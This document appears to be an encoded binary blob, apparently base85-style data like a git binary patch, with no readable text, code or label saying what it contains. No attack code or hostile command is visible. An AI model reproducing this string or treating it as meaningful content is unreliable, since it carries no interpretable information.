zUryO-SN&jBUrI@7A8CFQ&N0s;p3;w!5BxNp{XA>_{cxTdNz1$Os&!=C#&4M(b)pAD zVzGfF<{v#djlimKw+Lj5cV3Ts4W`G(u$ZHYFL|%d_4%$__$utOc$(7QCQ7e98;B0( zc}_o@CoCwJ9=I0;=QmoxTPf)B1t#}x?nCix|F5kFe0#}DX#U_ zc)z=u5hX5~-&z_Ubsm=#Cg*<>BX92L_kC}owac=L z*g<)jE(jU$Ur{e7T^zU(;O|+AU-4g_1gO0nP=DaJfco`J2NWtHS#GSj(%$&cm22K+ zK^5>5270YBY}FM(xaZwZRS+(3t@n=PKux|SYmCjUyOZlg@kBL88MHh+3woll`ST!y z`mM8o`i4101>P%sh*tLG;Vtgrt$G;celVul49T2ffN~&Cw{5FvLK%(N6s0`W%Gebz zKEc)UvT8X*O)SW2Vw`(;tsd?XG?ATC&|m*$lzi$FvTC{jN%lco<}bm598dc zr9E2e&MR*Zryf80$=(G$uI|~=9(ylzZx5ag58|;x_wsy&y%ZgIHIHKNT5vAeqivc6 z{s4|qXnwE9{6<@+m?MNkD?)pe)4elx0k1{D^$AzcDKgf1u6jK7GQ4z9;4OQ>cABvX zQ^SI19Z6@5&)L-T)Km2e2dO6*uS^Gbb5X?Mds!(&#+YNV?s0Ch~VK>r&SHyxGYj@m{9y)~7KQT1pu?{tVnIbyZQ&PcB@*c{K2;R>? z*QAcr(^~rl`x7Nmc`a z9%pcH)^H|<>=Jw0_Xbb-syRZ+>!k_9_hk9dm|M*qJ?1xr6N~@CVB>Mx=*_hU>Foo< z6$2Y4o(881WGn}O_tRk-`1ct2jvfov=nN6-MZEZ4@xA?SFlKzU&-ecD4b50U@)wLP z%5VqL=hU@LEa7`T-$TIFGH&y;jGxQhPZH6$I2uS5MA{~nD-_E|YNTymg+j78JZ5Yp z)qC`mwsWc?Tu*7cpf-}~!>K%B;yNR3i>4A@#k)TE0PABnME$?_^7yC0jr${b+3+XO?BV)RnQ<-Y8&{=lGgsUeczdfqJ z{7gk-(0po!o6LTen?@nFs;ZvwlnMuLgyE$*umGBu(Pkpr+qr=*9GN~_@atP{LS?KDCOr;fLFOKYN0vNPdFM)-2A3CblIm@dw)lLsib&h{ z=IARi`4;ZXa(8C9JJ4sm$^E>sq4KX9llc_9XG&snxi02#aX&{;E!V{?E;cg*ZqWs! z%Q1G`xl>n+FmWARtud=dxgCMIvy)mVO916b4Ol&&kdzMeyL^qXPfXsdH>TE!_KxQuv0m!h{1RwuV|RptmrkaXhKDc zIu{k!*F4oRs$<35o;6>tXJme&@waP6@3aDc8eOFVf3yN_9w@ntYG~It%1VFlCVRTG zqdzlhm)tE<9pI$*_$3{KR!Nr+X{(joWF?tLY+Sq2O16yl_^zjJMIqM1O~n1qh|5sVV>}FhIo}&w`N+CF1Gm>Q+2W3E)<>tWiv2RA1wxj(iJLTvGQD$d+qpu zl%~G9!EHx88792Ja-8kZo{!u!33W!75JNY2dzXmAb>67ukaM8VNFPF>k?vIoKL!xK zIwx8F|B;5dc~PxP)Ld(DOswq!j<73%ECAApSa>_7gP!V2ASP5|Y8NG%T!|)EqN$4# zvs{T;uEeZPCE}Ckh#CvMFaK>9hPg%awKoF&>CV-JQ^C?reSaCnHVfr2jxef7ybdy& zHnk4db89=HwiC#ZLE7E=P{YBztWpFil_2tj|t>z_o3t z$=h?0g0DlZ3I=3z(3r_3q1G1rJ!H(}A+g2r<425{JR%m2A3tNv$i}xf>1KsO3hjceA@eh{}m!Zt$nI zANV~xxk!)JE(vnL2KUj2Q7~_9Pp!$6RbQ=tnw8E8P^S&MT8Gw=b}ibU&t9R{b2QBo zg+F`5Er&v_C+J2snLt~`7T8q>Rw7MxY+3}Z4=(NrBFIP|EEbtpw zHi*-_ZFh&*-683_&)VG)c6UVj?xS{hhTWZ!zI!Kk>AK<5Z?!(tszPgdYRL7U9uPcT z@@<|Nmi;FK(@#$1iJ{wn@&N;E{a8}XlUm{3f3h|GWF${)0Q@J9rk@lxf7Y|3i2lw$ zuKBZGU~kW5U@uYp;ZnYWWZoK_%zCae+TZ?ioSbTWZX4ttN;4cnhrh&j9CfcV4_51{9#Dkl!9oLEvQ~t5YEpNav>{|_22Q`jS?nl(K4?)JkIagH;O)Psr0V2Z z;akIF9@hcT?9n=ud+`&Y&UURWIS#s(6>L#`uNCz*Pc99G?hW?{H@Elf^|aQFZ)L^@ zB`G~LZvMsVX2oBE$Q#k#*q2vgjl`$TXlN^=sm3@bS}hrC@%)@M-J`D8%9@o+$JQ-d z&_fg&?N!&NbExZj)TP$xWU^kH8(Oz4eXeeGZEtY1l;$9fA|~IKB^`CmZ}*r#I&*#~ z@AcC=^}Sx?XC&3KHr7XF9K1yhZB4!7k7p6l2ceRl{2g1wHmwipLQMtw2p4@2+M@@5 zk)o`khSt3DXQ=!cpI^S%J9R*T-lK_`q3J7J-6cmC`4@HBjZj@l6U~>LU!`Cp)=Ne5Nhh6vVQ!{4(f3BC%sxh^;@WDpV>6exX%n7`W)44 zxTH4^)~iG<5FEPMu2=GF&D?o2Lx-$eSRUIqRr<@~0R^iI_Jj4HKDH6}NzAV;x3Ej; z-5G-M1btwz;_Zr8_AUNE2rX4OUeLS533HYNCNtpP{l`}*? zdqBBrEpI-|QCEsW2S!KF04Y1t(NN%F^v|x+DL#9~ExvA+%uJ zi?2vZwFdsd6nlQ*gjfx~HMYDnHg-r>4Mnj&boTvA2Bu1n0muw?Nz*&A$aYQe>al>s zE|vPwfkbx;r~E?a=aZFPs`N&6uRc`LcV=CvV$IC@Pz7fQ{;R(L7)0rvd>>Qf)$0zW zjxVCbAscz%ad~R{!k*Cs^dbXu>MHO45B1(zJ9X!A@0YrQv{q2Esa^Nly&+cfsjER? zFL$SiJ2VO`d;%90t>zc7hAIG?f{GDd8L9xKww81|DCe=5d{fLD{m4nX!av-HnJoTd z19s3h9F2v)=DN-@Y=sW|lQSO}f_qA*fq_#-S>Nl58fu;nT_d5WM#>vn*F|e0*t?|p zShnq%p{3dz(8ihGz@pu%Hc~vF<5~X0I1ttrMcM{nNZ?37t*0q9Bb>Nq^fIco_ov$D zjD}uoz1dnuQvgn8FNWLtYxh6{`p0#)5L9=4h%bLay~|=6HXmoyC2GGV)~lXOSVM_$ zyyvCSpifq}ItEuH$_K1^&mjep-%~+#tL~$%-b&ejR8j!vfdclvb+5!Rud0kX&%Gwy z6ArmQ)q4ZKSI0!id@UpSopwVN!-Y!u&(K@#{GwV7WHzepO=}f&kZ{L)#7qi48U`3+ zFs?8o$KMK7l=RT70?rpxr8|oT$ors4KCviOnsk>{Tux?cmh?)MKH6^pXs_6wDt*cx z#wMmpN4a}Xt}Yk_9&D_c!((AT_R23@!Ex^DQ+M@ct}17SP8xUn*9H`%N?+qH)l!B2 zUu4XWy%PJ^4fVbPI|Xt{SfB9*dLKFwm< zQF+L~-U`Y?w_TSH`X{vlLMwfkS*-IQhk9@PS1*|#6m9Py-=jwlP*f6lH*)b4yua9g ze^2k{?tMhxbZK&QMlYuk(F`j{qg(&*c2i zJAku#a#0M;bF&t8&z#hg_YKow6xI=V3cS#{<~Cd7-7!7mU19C@_fx4bQR;=|tzPf# zEGB!4d$riB$tr3ax} zYS{*9gyYY7ONm0#noX7$kW+Y3h3I`cyMA$2VV%exNN>s#2^Lq(N*D!%St^H9 zx79MO+;x^c7ygs&sz5lEL^vO$A$0F{#B=dC4jq8H`7w*b#`v4;eQb<(fam>72NWzk zH8x%B3j~&oJBVUpBB|0ld+XOBPin%~E*uxD5UXAg8$?sq==w!uqPFB=8KA-9|#l$oSaBb>?-$mjnU302WFV2_HopAiK z{5yJKaet)9Chvh6;z7=oR|&VUle3ux2OguSKlULITDC?@Zfp~a>CIhr{jel%@b>7f z6~g%hK%UnfF(EnWa3$U$>*ZM|5!A zJ?A~B&7+=n^|5T}D6YF_F6QnY0f7hEPGp*caj?Tk))Q~V-hCl%POMO9^43&ozn;>I z*Lz9bH?pRb{I9`Y093rpYS!mB)>KmGIk_7FFv(_jOHH}+_83SG=VM>iUU4u{r0W?Y@}3&S07yjHrRhBa|Jzm zpQSwl;idTH(nYj6WZuY`q3=v8sciQpJu49bk?EZFj>z7=$!q*a57Btx=+RQ6_vp3o zg4k^Dyc29TN6+?mOs2b$sR6DrO>x|?{)4^0lbM0ZPhRfA8*k@kqA;Pawmx0GNTVNp zYz%^V9)Jbv4MnD}Gxw!RwBdl1joZ+R$~JE5e~Bf^x)ZLxxJdgh5JBwxp5>aaaHC8@pGd+zmwN9||DaG$X1zOspjIv1~Ks&m~d(8subAk8iBKQ)0 zbce6>0M@=e$(uL7)6*qtgG~ zZbs$xk29mPVQ*{j$_b20Wb$r}%3O>6&mWbp$K&#MmPzy`#y#@uoFSnZOYii40**-vgm-ALY`)nRwih{~KaTAo!IqjAmXTU6N_2#26D-ALA3Wt{~P z`2XE#L&v7^Y5bpbx|!pZzC-y$r2Wp3A!kmS_>jY>pA-uyRQlS~uUBPri8541SR>338V27w`KUTBh&Oye`=Z@t}uF7JbI4VBq509A9Xu=TzO}1+YQnPh*2bo zEzrBe%OMSes(acf^GgRMTqQF5r77fO69rJ6v!}#&QU;>)CfL@27i@2R z&~}*!)qx!Uez2dXn~)qN=-T{GSB1i%zd~3zYD%ffS9Mw5 zQMM@F$Iv${pg(sEx?P`v+i~~&B8U00t<|m1)(|2G{T-ZU$F<&$4^(P}%*>YNQ1jRX7pYnqNiOdjqB&R1xl6g;|%1|GbZN`}uKcMtAy2rg$7_QIwm! zub@WC4s%dAPLQ`U;^n0h$FkZ9yZ~HVwFW17xfPkSr(y|Uyo+C(VD>qA0FiRsAw~@Z z!==nC2pt>J4d3P7`(m0I%WS4T*3&2d9Mme5dw`!|QsuCP!Q3Sf4p1O@$21u%z7v=>d~F_-vYakY{?U~!o5%RB@h*DR88;^FX~qqey;^Z% zq1I)5ddupZnd1`QOi}BTU!wGq2xNn4<2Y~N4~=#SUBTm2y74wqIMDHIFK;`U5TNT! zs7g>lyf2ZBdLt!oD&&)XFu?nSeZh_%vc}%1!rLx3BkN~h_l~`7Ga`+yVE*Ou|5{61 z3*&#^!d{{Zdx?HWhUAP*XzqAR7;-qhxFzg*caV38>j4`SC;aoLqOe6pB#pK?_ky>F zJq-2{7VoW0m5I`cl@P>^qa4SPw%q(gt&7B+aF12Nagywz*35sw+em;O7$TE`s1(wl z;f+CkXWBBBY0FGdgDk+B9$|U2WC51Hb#hVVj!Z8?SM-&3g83?R#ixuR0Ii#3y$Q8Q zHTBN07DKHM>Y=(bGw9CI4wm5TnAZunk+km-fzR{1kNhr?d? z*G?Q3c)F;sc#k-?V%GZ9h}7m&!w?BA**r5GTC$FwS0%Sp^uq-a?9X^yZUxpMwe))D z3|QmEy-HlnB=0A3Wo-sfk-=W%eZIznz>Y@&ahDff%4*YLU#^Ny3EH`e>~ zYiTc4c5?Sd#n>nVGA}N)7rXW}$-HWHG9;(HWJ5B1EJJemcz;Mb1y~Ue9ceo~*z^H* zW?0-Jf@7+dhl=oye@q;>>qa>Kmxj=R6Yu0>@+~tPVEX_+oF5e{*p7f2sS~4dP?k?= zn_QB7Oq8z9Eiw)B0elPkw=|q;XD8I9r$evq#H~=nnpEi(Z)^989CXBi$ETNI<(BV7 z=V|m^tMe5?t+#8rWR8z;{F89ok8EN5!S6Va*mrNVU1OU_I>O$w7y*(SDc_iAv3p8( zt!1-N_`*%vn4z4##b0~Tu+(rUSSqOzmXf#Vt+-ot8Iky$poR{!1ovc|Wo0X0q z9IZtgLH%*NjEY|P3RJYNN<;E;ludZ+iL?59e`u;>60|XXOsM5x=pQr>vTofoctAn& zQ0@qmtCM^4EA!$7yr__z&H7j?=h`0Ic+S$z1PI#LRIMIsc@=TPrvz#96El>*RPx#9 z(l);@DAS%ULUWdB1a%BdI|+lC+T>+8MVr}*H{8T(vTbrXTMcf(_1EWMa;LVj>ph?C~J~-U4`Q}THL+zR1!aVw@o;v&2`_W^6K-8un3V} zzcf#PsB9JBAj%&%uhYS=I=39>pE}6Ye6y$qA{SX`|12+JS*rJ>cuE3aoKu@ zP4*wTO=BnmO1e2V5|7MK>h_`taYW(xoEg9nYB@kftABPIHH2FB;zC7++P1d=_UI1x z=rgqsbFwSh*-&$Ln61qWEK{e*#jgy$WTDmMzLh)<0>$#VGD`)gchWt?6A+c0ilUsm zdv@5J``K8%Uks(uohS#b;o3uoNtFIh>50)*zv|#WqgUiSd5U*;Wh42o3RIY(#{xhuX5unBZOhH z;|%w8aw8S1V?KVJd7!H9VT}j+AE8{P|LM$vND9&CcRBlT6?;_^2dN7)Ts*o;0}!23 zJ*y~sYy>S`S$!Kx`G5wBQU@ufZoW;`n@}Oyyyh2TdiGy@s9~Zi7y#UHpbwm6t?jx3 zEH642qci7*oxDHM{pj=`kr>v=5K!pCyp+kOD4|3uYPMl!9N4mWE@KRq12+r_&Tp0$hGyK zN#S-+S0vw^)+>AW1@$LNXO9`i`GS;H1za!C^`A1=ZMyzt=K5#4zA?B)%_1bl-#@@i z-yS6V+Y;N0wRYm@9+5VBtu-7L3bv*=3xxuRPb|^gYVy2mjK)Z2FdcrO!=%=Gid>$e z<5|d0xLJXZ$nB$9{g+Orb$8gsVb#n%my*~P#hn`o8qKmZNG&vnIG}Dt=Y-_hga?9; z3&&5R^%INgKC&c{4DYho>_#0GG#?W1VL3SmmZfP}ZbwMvELH8rqcSg!;6